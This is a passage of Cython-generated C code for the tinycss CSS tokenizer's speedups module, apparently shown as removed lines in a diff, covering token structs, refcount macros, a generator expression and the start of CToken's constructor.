__pyx_obj_7tinycss_8speedups_CToken; - -/* "tinycss/speedups.pyx":22 - * - * COMPILED_TOKEN_INDEXES = dict( - * (name, i) for i, (name, regexp) in enumerate(COMPILED_TOKEN_REGEXPS)) # <<<<<<<<<<<<<< - * - * - */ -struct __pyx_Generator_object { - PyObject_HEAD - __pyx_generator_body_t body; - int is_running; - int resume_label; - PyObject *exc_type; - PyObject *exc_value; - PyObject *exc_traceback; -}; - -struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr { - struct __pyx_Generator_object __pyx_base; - PyObject *__pyx_v_i; - PyObject *__pyx_v_name; - PyObject *__pyx_v_regexp; - PyObject *__pyx_t_0; - PyObject *__pyx_t_1; - Py_ssize_t __pyx_t_2; - PyObject *(*__pyx_t_3)(PyObject *); -}; - - -/* "tinycss/speedups.pyx":25 - * - * - * cdef class CToken: # <<<<<<<<<<<<<< - * """A token built by the Cython speedups. Identical to - * :class:`~.token_data.Token`. - */ -struct __pyx_obj_7tinycss_8speedups_CToken { - PyObject_HEAD - PyObject *type; - PyObject *_as_css; - PyObject *value; - PyObject *unit; - Py_ssize_t line; - Py_ssize_t column; -}; - - -#ifndef CYTHON_REFNANNY - #define CYTHON_REFNANNY 0 -#endif - -#if CYTHON_REFNANNY - typedef struct { - void (*INCREF)(void*, PyObject*, int); - void (*DECREF)(void*, PyObject*, int); - void (*GOTREF)(void*, PyObject*, int); - void (*GIVEREF)(void*, PyObject*, int); - void* (*SetupContext)(const char*, int, const char*); - void (*FinishContext)(void**); - } __Pyx_RefNannyAPIStruct; - static __Pyx_RefNannyAPIStruct *__Pyx_RefNanny = NULL; - static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname); /*proto*/ - #define __Pyx_RefNannyDeclarations void *__pyx_refnanny = NULL; - #define __Pyx_RefNannySetupContext(name) __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__) - #define __Pyx_RefNannyFinishContext() __Pyx_RefNanny->FinishContext(&__pyx_refnanny) - #define __Pyx_INCREF(r) __Pyx_RefNanny->INCREF(__pyx_refnanny, (PyObject *)(r), __LINE__) - #define __Pyx_DECREF(r) __Pyx_RefNanny->DECREF(__pyx_refnanny, (PyObject *)(r), __LINE__) - #define __Pyx_GOTREF(r) __Pyx_RefNanny->GOTREF(__pyx_refnanny, (PyObject *)(r), __LINE__) - #define __Pyx_GIVEREF(r) __Pyx_RefNanny->GIVEREF(__pyx_refnanny, (PyObject *)(r), __LINE__) - #define __Pyx_XINCREF(r) do { if((r) != NULL) {__Pyx_INCREF(r); }} while(0) - #define __Pyx_XDECREF(r) do { if((r) != NULL) {__Pyx_DECREF(r); }} while(0) - #define __Pyx_XGOTREF(r) do { if((r) != NULL) {__Pyx_GOTREF(r); }} while(0) - #define __Pyx_XGIVEREF(r) do { if((r) != NULL) {__Pyx_GIVEREF(r);}} while(0) -#else - #define __Pyx_RefNannyDeclarations - #define __Pyx_RefNannySetupContext(name) - #define __Pyx_RefNannyFinishContext() - #define __Pyx_INCREF(r) Py_INCREF(r) - #define __Pyx_DECREF(r) Py_DECREF(r) - #define __Pyx_GOTREF(r) - #define __Pyx_GIVEREF(r) - #define __Pyx_XINCREF(r) Py_XINCREF(r) - #define __Pyx_XDECREF(r) Py_XDECREF(r) - #define __Pyx_XGOTREF(r) - #define __Pyx_XGIVEREF(r) -#endif /* CYTHON_REFNANNY */ - -static PyObject *__Pyx_GetName(PyObject *dict, PyObject *name); /*proto*/ - -static CYTHON_INLINE void __Pyx_RaiseNeedMoreValuesError(Py_ssize_t index); - -static CYTHON_INLINE void __Pyx_RaiseTooManyValuesError(Py_ssize_t expected); - -static int __Pyx_IternextUnpackEndCheck(PyObject *retval, Py_ssize_t expected); /*proto*/ - -static void __Pyx_RaiseArgtupleInvalid(const char* func_name, int exact, - Py_ssize_t num_min, Py_ssize_t num_max, Py_ssize_t num_found); /*proto*/ - -static void __Pyx_RaiseDoubleKeywordsError( - const char* func_name, PyObject* kw_name); /*proto*/ - -static int __Pyx_ParseOptionalKeywords(PyObject *kwds, PyObject **argnames[], PyObject *kwds2, PyObject *values[], Py_ssize_t num_pos_args, const char* function_name); /*proto*/ - - -static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j) { - PyObject *r; - if (!j) return NULL; - r = PyObject_GetItem(o, j); - Py_DECREF(j); - return r; -} - - -#define __Pyx_GetItemInt_List(o, i, size, to_py_func) (((size) <= sizeof(Py_ssize_t)) ? \ - __Pyx_GetItemInt_List_Fast(o, i) : \ - __Pyx_GetItemInt_Generic(o, to_py_func(i))) - -static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i) { - if (likely(o != Py_None)) { - if (likely((0 <= i) & (i < PyList_GET_SIZE(o)))) { - PyObject *r = PyList_GET_ITEM(o, i); - Py_INCREF(r); - return r; - } - else if ((-PyList_GET_SIZE(o) <= i) & (i < 0)) { - PyObject *r = PyList_GET_ITEM(o, PyList_GET_SIZE(o) + i); - Py_INCREF(r); - return r; - } - } - return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); -} - -#define __Pyx_GetItemInt_Tuple(o, i, size, to_py_func) (((size) <= sizeof(Py_ssize_t)) ? \ - __Pyx_GetItemInt_Tuple_Fast(o, i) : \ - __Pyx_GetItemInt_Generic(o, to_py_func(i))) - -static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i) { - if (likely(o != Py_None)) { - if (likely((0 <= i) & (i < PyTuple_GET_SIZE(o)))) { - PyObject *r = PyTuple_GET_ITEM(o, i); - Py_INCREF(r); - return r; - } - else if ((-PyTuple_GET_SIZE(o) <= i) & (i < 0)) { - PyObject *r = PyTuple_GET_ITEM(o, PyTuple_GET_SIZE(o) + i); - Py_INCREF(r); - return r; - } - } - return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); -} - - -#define __Pyx_GetItemInt(o, i, size, to_py_func) (((size) <= sizeof(Py_ssize_t)) ? \ - __Pyx_GetItemInt_Fast(o, i) : \ - __Pyx_GetItemInt_Generic(o, to_py_func(i))) - -static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i) { - PyObject *r; - if (PyList_CheckExact(o) && ((0 <= i) & (i < PyList_GET_SIZE(o)))) { - r = PyList_GET_ITEM(o, i); - Py_INCREF(r); - } - else if (PyTuple_CheckExact(o) && ((0 <= i) & (i < PyTuple_GET_SIZE(o)))) { - r = PyTuple_GET_ITEM(o, i); - Py_INCREF(r); - } - else if (Py_TYPE(o)->tp_as_sequence && Py_TYPE(o)->tp_as_sequence->sq_item && (likely(i >= 0))) { - r = PySequence_GetItem(o, i); - } - else { - r = __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); - } - return r; -} - -static CYTHON_INLINE int __Pyx_NegateNonNeg(int b) { - return unlikely(b < 0) ? b : !b; -} -static CYTHON_INLINE PyObject* __Pyx_PyBoolOrNull_FromLong(long b) { - return unlikely(b < 0) ? NULL : __Pyx_PyBool_FromLong(b); -} - -static CYTHON_INLINE void __Pyx_RaiseUnboundLocalError(const char *varname); - -static double __Pyx__PyObject_AsDouble(PyObject* obj); /* proto */ - -#define __Pyx_PyObject_AsDouble(obj) \ - ((likely(PyFloat_CheckExact(obj))) ? \ - PyFloat_AS_DOUBLE(obj) : __Pyx__PyObject_AsDouble(obj)) - -static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, long level); /*proto*/ - -static CYTHON_INLINE unsigned char __Pyx_PyInt_AsUnsignedChar(PyObject *); - -static CYTHON_INLINE unsigned short __Pyx_PyInt_AsUnsignedShort(PyObject *); - -static CYTHON_INLINE unsigned int __Pyx_PyInt_AsUnsignedInt(PyObject *); - -static CYTHON_INLINE char __Pyx_PyInt_AsChar(PyObject *); - -static CYTHON_INLINE short __Pyx_PyInt_AsShort(PyObject *); - -static CYTHON_INLINE int __Pyx_PyInt_AsInt(PyObject *); - -static CYTHON_INLINE signed char __Pyx_PyInt_AsSignedChar(PyObject *); - -static CYTHON_INLINE signed short __Pyx_PyInt_AsSignedShort(PyObject *); - -static CYTHON_INLINE signed int __Pyx_PyInt_AsSignedInt(PyObject *); - -static CYTHON_INLINE int __Pyx_PyInt_AsLongDouble(PyObject *); - -static CYTHON_INLINE unsigned long __Pyx_PyInt_AsUnsignedLong(PyObject *); - -static CYTHON_INLINE unsigned PY_LONG_LONG __Pyx_PyInt_AsUnsignedLongLong(PyObject *); - -static CYTHON_INLINE long __Pyx_PyInt_AsLong(PyObject *); - -static CYTHON_INLINE PY_LONG_LONG __Pyx_PyInt_AsLongLong(PyObject *); - -static CYTHON_INLINE signed long __Pyx_PyInt_AsSignedLong(PyObject *); - -static CYTHON_INLINE signed PY_LONG_LONG __Pyx_PyInt_AsSignedLongLong(PyObject *); - -static CYTHON_INLINE void __Pyx_ErrRestore(PyObject *type, PyObject *value, PyObject *tb); /*proto*/ -static CYTHON_INLINE void __Pyx_ErrFetch(PyObject **type, PyObject **value, PyObject **tb); /*proto*/ - -static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause); /*proto*/ - -static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb); /*proto*/ - -static int __Pyx_check_binary_version(void); - -static void __Pyx_AddTraceback(const char *funcname, int __pyx_clineno, - int __pyx_lineno, const char *__pyx_filename); /*proto*/ - -static int __Pyx_InitStrings(__Pyx_StringTabEntry *t); /*proto*/ - -/* Module declarations from 'tinycss.speedups' */ -static PyTypeObject *__pyx_ptype_7tinycss_8speedups_CToken = 0; -static PyTypeObject *__pyx_ptype_7tinycss_8speedups___pyx_Generator = 0; -static PyTypeObject *__pyx_ptype_7tinycss_8speedups___pyx_scope_struct__genexpr = 0; -#define __Pyx_MODULE_NAME "tinycss.speedups" -int __pyx_module_is_main_tinycss__speedups = 0; - -/* Implementation of 'tinycss.speedups' */ -static PyObject *__pyx_builtin_enumerate; -static PyObject *__pyx_builtin_ord; -static char __pyx_k_1[] = "COMPILED_TOKEN_REGEXPS"; -static char __pyx_k_2[] = ""; -static char __pyx_k_3[] = ""; -static char __pyx_k_4[] = "COMPILED_TOKEN_INDEXES"; -static char __pyx_k_5[] = ":;{}()[]"; -static char __pyx_k_7[] = "."; -static char __pyx_k_9[] = "%"; -static char __pyx_k_11[] = "\"'"; -static char __pyx_k_12[] = "\n tinycss.speedups\n ----------------\n\n Cython module for speeding up inner loops.\n\n Right now only :func:`tokenize_flat` has a second implementation.\n\n :copyright: (c) 2010 by Simon Sapin.\n :license: BSD, see LICENSE for more details.\n"; -static char __pyx_k_13[] = "tinycss.speedups"; -static char __pyx_k__URI[] = "URI"; -static char __pyx_k__end[] = "end"; -static char __pyx_k__ord[] = "ord"; -static char __pyx_k__HASH[] = "HASH"; -static char __pyx_k__line[] = "line"; -static char __pyx_k__unit[] = "unit"; -static char __pyx_k__DELIM[] = "DELIM"; -static char __pyx_k__IDENT[] = "IDENT"; -static char __pyx_k__group[] = "group"; -static char __pyx_k__lower[] = "lower"; -static char __pyx_k__type_[] = "type_"; -static char __pyx_k__value[] = "value"; -static char __pyx_k__NUMBER[] = "NUMBER"; -static char __pyx_k__STRING[] = "STRING"; -static char __pyx_k__column[] = "column"; -static char __pyx_k__format[] = "format"; -static char __pyx_k__COMMENT[] = "COMMENT"; -static char __pyx_k__INTEGER[] = "INTEGER"; -static char __pyx_k__FUNCTION[] = "FUNCTION"; -static char __pyx_k____main__[] = "__main__"; -static char __pyx_k____test__[] = "__test__"; -static char __pyx_k__ATKEYWORD[] = "ATKEYWORD"; -static char __pyx_k__DIMENSION[] = "DIMENSION"; -static char __pyx_k__css_value[] = "css_value"; -static char __pyx_k__enumerate[] = "enumerate"; -static char __pyx_k__BAD_STRING[] = "BAD_STRING"; -static char __pyx_k__PERCENTAGE[] = "PERCENTAGE"; -static char __pyx_k__css_source[] = "css_source"; -static char __pyx_k__token_data[] = "token_data"; -static char __pyx_k__BAD_COMMENT[] = "BAD_COMMENT"; -static char __pyx_k__is_container[] = "is_container"; -static char __pyx_k__FIND_NEWLINES[] = "FIND_NEWLINES"; -static char __pyx_k__tokenize_flat[] = "tokenize_flat"; -static char __pyx_k__TOKEN_DISPATCH[] = "TOKEN_DISPATCH"; -static char __pyx_k__SIMPLE_UNESCAPE[] = "SIMPLE_UNESCAPE"; -static char __pyx_k__ignore_comments[] = "ignore_comments"; -static char __pyx_k__NEWLINE_UNESCAPE[] = "NEWLINE_UNESCAPE"; -static char __pyx_k__UNICODE_UNESCAPE[] = "UNICODE_UNESCAPE"; -static PyObject *__pyx_n_s_1; -static PyObject *__pyx_kp_u_11; -static PyObject *__pyx_n_s_13; -static PyObject *__pyx_kp_u_2; -static PyObject *__pyx_kp_u_3; -static PyObject *__pyx_n_s_4; -static PyObject *__pyx_kp_u_5; -static PyObject *__pyx_kp_u_7; -static PyObject *__pyx_kp_u_9; -static PyObject *__pyx_n_u__ATKEYWORD; -static PyObject *__pyx_n_u__BAD_COMMENT; -static PyObject *__pyx_n_u__BAD_STRING; -static PyObject *__pyx_n_u__COMMENT; -static PyObject *__pyx_n_u__DELIM; -static PyObject *__pyx_n_u__DIMENSION; -static PyObject *__pyx_n_s__FIND_NEWLINES; -static PyObject *__pyx_n_u__FUNCTION; -static PyObject *__pyx_n_u__HASH; -static PyObject *__pyx_n_u__IDENT; -static PyObject *__pyx_n_u__INTEGER; -static PyObject *__pyx_n_s__NEWLINE_UNESCAPE; -static PyObject *__pyx_n_u__NUMBER; -static PyObject *__pyx_n_u__PERCENTAGE; -static PyObject *__pyx_n_s__SIMPLE_UNESCAPE; -static PyObject *__pyx_n_u__STRING; -static PyObject *__pyx_n_s__TOKEN_DISPATCH; -static PyObject *__pyx_n_s__UNICODE_UNESCAPE; -static PyObject *__pyx_n_u__URI; -static PyObject *__pyx_n_s____main__; -static PyObject *__pyx_n_s____test__; -static PyObject *__pyx_n_s__column; -static PyObject *__pyx_n_s__css_source; -static PyObject *__pyx_n_s__css_value; -static PyObject *__pyx_n_s__end; -static PyObject *__pyx_n_s__enumerate; -static PyObject *__pyx_n_s__format; -static PyObject *__pyx_n_s__group; -static PyObject *__pyx_n_s__ignore_comments; -static PyObject *__pyx_n_s__is_container; -static PyObject *__pyx_n_s__line; -static PyObject *__pyx_n_s__lower; -static PyObject *__pyx_n_s__ord; -static PyObject *__pyx_n_s__token_data; -static PyObject *__pyx_n_s__tokenize_flat; -static PyObject *__pyx_n_s__type_; -static PyObject *__pyx_n_s__unit; -static PyObject *__pyx_n_s__value; -static PyObject *__pyx_int_0; -static PyObject *__pyx_int_1; -static PyObject *__pyx_int_2; -static PyObject *__pyx_k_tuple_6; -static PyObject *__pyx_k_tuple_8; -static PyObject *__pyx_k_tuple_10; -static PyObject *__pyx_gb_7tinycss_8speedups_2generator(struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr *__pyx_cur_scope, PyObject *__pyx_sent_value); /* proto */ - -/* "tinycss/speedups.pyx":22 - * - * COMPILED_TOKEN_INDEXES = dict( - * (name, i) for i, (name, regexp) in enumerate(COMPILED_TOKEN_REGEXPS)) # <<<<<<<<<<<<<< - * - * - */ - -static PyObject *__pyx_pf_7tinycss_8speedups_1genexpr(PyObject *__pyx_self, CYTHON_UNUSED PyObject *unused); /*proto*/ -static PyObject *__pyx_pf_7tinycss_8speedups_1genexpr(PyObject *__pyx_self, CYTHON_UNUSED PyObject *unused) { - struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr *__pyx_cur_scope; - PyObject *__pyx_r = NULL; - __Pyx_RefNannyDeclarations - __Pyx_RefNannySetupContext("genexpr"); - __pyx_cur_scope = (struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr *)__pyx_ptype_7tinycss_8speedups___pyx_scope_struct__genexpr->tp_new(__pyx_ptype_7tinycss_8speedups___pyx_scope_struct__genexpr, __pyx_empty_tuple, NULL); - if (unlikely(!__pyx_cur_scope)) { - __Pyx_RefNannyFinishContext(); - return NULL; - } - __Pyx_GOTREF(__pyx_cur_scope); - __pyx_self = __pyx_self; - __pyx_cur_scope->__pyx_base.resume_label = 0; - __pyx_cur_scope->__pyx_base.body = (__pyx_generator_body_t) __pyx_gb_7tinycss_8speedups_2generator; - __Pyx_GIVEREF(__pyx_cur_scope); - __Pyx_RefNannyFinishContext(); - return (PyObject *) __pyx_cur_scope; - - __pyx_r = Py_None; __Pyx_INCREF(Py_None); - __Pyx_DECREF(((PyObject *)__pyx_cur_scope)); - __Pyx_XGIVEREF(__pyx_r); - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -static PyObject *__pyx_gb_7tinycss_8speedups_2generator(struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr *__pyx_cur_scope, PyObject *__pyx_sent_value) /* generator body */ -{ - PyObject *__pyx_r = NULL; - PyObject *__pyx_t_1 = NULL; - PyObject *__pyx_t_2 = NULL; - PyObject *__pyx_t_3 = NULL; - Py_ssize_t __pyx_t_4; - PyObject *(*__pyx_t_5)(PyObject *); - PyObject *__pyx_t_6 = NULL; - PyObject *__pyx_t_7 = NULL; - PyObject *__pyx_t_8 = NULL; - PyObject *(*__pyx_t_9)(PyObject *); - __Pyx_RefNannyDeclarations - __Pyx_RefNannySetupContext("None"); - switch (__pyx_cur_scope->__pyx_base.resume_label) { - case 0: goto __pyx_L3_first_run; - case 1: goto __pyx_L8_resume_from_yield; - default: /* CPython raises the right error here */ - __Pyx_RefNannyFinishContext(); - return NULL; - } - __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 22; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_INCREF(__pyx_int_0); - __pyx_t_1 = __pyx_int_0; - __pyx_t_2 = __Pyx_GetName(__pyx_m, __pyx_n_s_1); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 22; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_2); - if (PyList_CheckExact(__pyx_t_2) || PyTuple_CheckExact(__pyx_t_2)) { - __pyx_t_3 = __pyx_t_2; __Pyx_INCREF(__pyx_t_3); __pyx_t_4 = 0; - __pyx_t_5 = NULL; - } else { - __pyx_t_4 = -1; __pyx_t_3 = PyObject_GetIter(__pyx_t_2); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 22; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_3); - __pyx_t_5 = Py_TYPE(__pyx_t_3)->tp_iternext; - } - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - for (;;) { - if (PyList_CheckExact(__pyx_t_3)) { - if (__pyx_t_4 >= PyList_GET_SIZE(__pyx_t_3)) break; - __pyx_t_2 = PyList_GET_ITEM(__pyx_t_3, __pyx_t_4); __Pyx_INCREF(__pyx_t_2); __pyx_t_4++; - } else if (PyTuple_CheckExact(__pyx_t_3)) { - if (__pyx_t_4 >= PyTuple_GET_SIZE(__pyx_t_3)) break; - __pyx_t_2 = PyTuple_GET_ITEM(__pyx_t_3, __pyx_t_4); __Pyx_INCREF(__pyx_t_2); __pyx_t_4++; - } else { - __pyx_t_2 = __pyx_t_5(__pyx_t_3); - if (unlikely(!__pyx_t_2)) { - if (PyErr_Occurred()) { - if (likely(PyErr_ExceptionMatches(PyExc_StopIteration))) PyErr_Clear(); - else {__pyx_filename = __pyx_f[0]; __pyx_lineno = 22; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - } - break; - } - __Pyx_GOTREF(__pyx_t_2); - } - if ((likely(PyTuple_CheckExact(__pyx_t_2))) || (PyList_CheckExact(__pyx_t_2))) { - PyObject* sequence = __pyx_t_2; - if (likely(PyTuple_CheckExact(sequence))) { - if (unlikely(PyTuple_GET_SIZE(sequence) != 2)) { - if (PyTuple_GET_SIZE(sequence) > 2) __Pyx_RaiseTooManyValuesError(2); - else __Pyx_RaiseNeedMoreValuesError(PyTuple_GET_SIZE(sequence)); - {__pyx_filename = __pyx_f[0]; __pyx_lineno = 22; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - } - __pyx_t_6 = PyTuple_GET_ITEM(sequence, 0); - __pyx_t_7 = PyTuple_GET_ITEM(sequence, 1); - } else { - if (unlikely(PyList_GET_SIZE(sequence) != 2)) { - if (PyList_GET_SIZE(sequence) > 2) __Pyx_RaiseTooManyValuesError(2); - else __Pyx_RaiseNeedMoreValuesError(PyList_GET_SIZE(sequence)); - {__pyx_filename = __pyx_f[0]; __pyx_lineno = 22; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - } - __pyx_t_6 = PyList_GET_ITEM(sequence, 0); - __pyx_t_7 = PyList_GET_ITEM(sequence, 1); - } - __Pyx_INCREF(__pyx_t_6); - __Pyx_INCREF(__pyx_t_7); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - } else { - Py_ssize_t index = -1; - __pyx_t_8 = PyObject_GetIter(__pyx_t_2); if (unlikely(!__pyx_t_8)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 22; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_8); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_9 = Py_TYPE(__pyx_t_8)->tp_iternext; - index = 0; __pyx_t_6 = __pyx_t_9(__pyx_t_8); if (unlikely(!__pyx_t_6)) goto __pyx_L6_unpacking_failed; - __Pyx_GOTREF(__pyx_t_6); - index = 1; __pyx_t_7 = __pyx_t_9(__pyx_t_8); if (unlikely(!__pyx_t_7)) goto __pyx_L6_unpacking_failed; - __Pyx_GOTREF(__pyx_t_7); - if (__Pyx_IternextUnpackEndCheck(__pyx_t_9(__pyx_t_8), 2) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 22; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - goto __pyx_L7_unpacking_done; - __pyx_L6_unpacking_failed:; - __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - if (PyErr_Occurred() && PyErr_ExceptionMatches(PyExc_StopIteration)) PyErr_Clear(); - if (!PyErr_Occurred()) __Pyx_RaiseNeedMoreValuesError(index); - {__pyx_filename = __pyx_f[0]; __pyx_lineno = 22; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __pyx_L7_unpacking_done:; - } - __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_name); - __Pyx_XDECREF(__pyx_cur_scope->__pyx_v_name); - __Pyx_GIVEREF(__pyx_t_6); - __pyx_cur_scope->__pyx_v_name = __pyx_t_6; - __pyx_t_6 = 0; - __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_regexp); - __Pyx_XDECREF(__pyx_cur_scope->__pyx_v_regexp); - __Pyx_GIVEREF(__pyx_t_7); - __pyx_cur_scope->__pyx_v_regexp = __pyx_t_7; - __pyx_t_7 = 0; - __Pyx_INCREF(__pyx_t_1); - __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_i); - __Pyx_XDECREF(__pyx_cur_scope->__pyx_v_i); - __Pyx_GIVEREF(__pyx_t_1); - __pyx_cur_scope->__pyx_v_i = __pyx_t_1; - __pyx_t_2 = PyNumber_Add(__pyx_t_1, __pyx_int_1); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 22; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_2); - __Pyx_DECREF(__pyx_t_1); - __pyx_t_1 = __pyx_t_2; - __pyx_t_2 = 0; - __pyx_t_2 = PyTuple_New(2); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 22; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_2)); - __Pyx_INCREF(__pyx_cur_scope->__pyx_v_name); - PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_cur_scope->__pyx_v_name); - __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_name); - __Pyx_INCREF(__pyx_cur_scope->__pyx_v_i); - PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_cur_scope->__pyx_v_i); - __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_i); - __pyx_r = ((PyObject *)__pyx_t_2); - __pyx_t_2 = 0; - __Pyx_XGIVEREF(__pyx_t_1); - __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; - __Pyx_XGIVEREF(__pyx_t_3); - __pyx_cur_scope->__pyx_t_1 = __pyx_t_3; - __pyx_cur_scope->__pyx_t_2 = __pyx_t_4; - __pyx_cur_scope->__pyx_t_3 = __pyx_t_5; - __Pyx_XGIVEREF(__pyx_r); - __Pyx_RefNannyFinishContext(); - /* return from generator, yielding value */ - __pyx_cur_scope->__pyx_base.resume_label = 1; - return __pyx_r; - __pyx_L8_resume_from_yield:; - __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; - __pyx_cur_scope->__pyx_t_0 = 0; - __Pyx_XGOTREF(__pyx_t_1); - __pyx_t_3 = __pyx_cur_scope->__pyx_t_1; - __pyx_cur_scope->__pyx_t_1 = 0; - __Pyx_XGOTREF(__pyx_t_3); - __pyx_t_4 = __pyx_cur_scope->__pyx_t_2; - __pyx_t_5 = __pyx_cur_scope->__pyx_t_3; - if (unlikely(!__pyx_sent_value)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 22; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - } - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - PyErr_SetNone(PyExc_StopIteration); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 22; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - goto __pyx_L0; - __pyx_L1_error:; - __Pyx_XDECREF(__pyx_t_1); - __Pyx_XDECREF(__pyx_t_2); - __Pyx_XDECREF(__pyx_t_3); - __Pyx_XDECREF(__pyx_t_6); - __Pyx_XDECREF(__pyx_t_7); - __Pyx_XDECREF(__pyx_t_8); - __Pyx_AddTraceback("genexpr", __pyx_clineno, __pyx_lineno, __pyx_filename); - __pyx_L0:; - __Pyx_XDECREF(__pyx_r); - __pyx_cur_scope->__pyx_base.resume_label = -1; - __Pyx_RefNannyFinishContext(); - return NULL; -} - -/* "tinycss/speedups.pyx":35 - * cdef public Py_ssize_t line, column - * - * def __init__(self, type_, css_value, value, unit, line, column): # <<<<<<<<<<<<<< - * self.type = type_ - * self._as_css = css_value - */ - -static int __pyx_pf_7tinycss_8speedups_6CToken___init__(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/ -static int __pyx_pf_7tinycss_8speedups_6CToken___init__(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds) { - PyObject *__pyx_v_type_ = 0; - PyObject *__pyx_v_css_value = 0; - PyObject *__pyx_v_value = 0; - PyObject *__pyx_v_unit = 0; - PyObject *__pyx_v_line = 0; - PyObject *__pyx_v_column = 0; - int __pyx_r; - __Pyx_RefNannyDeclarations - Py_ssize_t __pyx_t_1; - int __pyx_lineno = 0; - const char *__pyx_filename = NULL; - int __pyx_clineno = 0; - static PyObject **__pyx_pyargnames[] = {&__pyx_n_s__type_,&__pyx_n_s__css_value,&__pyx_n_s__value,&__pyx_n_s__unit,&__pyx_n_s__line,&__pyx_n_s__column,0}; - __Pyx_RefNannySetupContext("__init__"); - { - PyObject* values[6] = {0,0,0,0,0,0}; - if (unlikely(__pyx_kwds)) { - Py_ssize_t kw_args; - switch (PyTuple_GET_SIZE(__pyx_args)) { - case 6: values[5] = PyTuple_GET_ITEM(__pyx_args, 5); - case 5: values[4] = PyTuple_GET_ITEM(__pyx_args, 4); - case 4: values[3] = PyTuple_GET_ITEM(__pyx_args, 3); - case 3: values[2] = PyTuple_GET_ITEM(__pyx_args, 2); - case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); - case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); - case 0: break; - default: goto __pyx_L5_argtuple_error; - } - kw_args = PyDict_Size(__pyx_kwds); - switch (PyTuple_GET_SIZE(__pyx_args)) { - case 0: - values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__type_); - if (likely(values[0])) kw_args--; - else goto __pyx_L5_argtuple_error; - case 1: - values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__css_value); - if (likely(values[1])) kw_args--; - else { - __Pyx_RaiseArgtupleInvalid("__init__", 1, 6, 6, 1); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 35; __pyx_clineno = __LINE__; goto __pyx_L3_error;} - } - case 2: - values[2] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__value); - if (likely(values[2])) kw_args--; - else { - __Pyx_RaiseArgtupleInvalid("__init__", 1, 6, 6, 2); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 35; __pyx_clineno = __LINE__; goto __pyx_L3_error;} - } - case 3: - values[3] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__unit); - if (likely(values[3])) kw_args--; - else { - __Pyx_RaiseArgtupleInvalid("__init__", 1, 6, 6, 3); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 35; __pyx_clineno = __LINE__; goto __pyx_L3_error;} - } - case 4: - values[4] = PyDict_GetItem(__pyx_kwds, 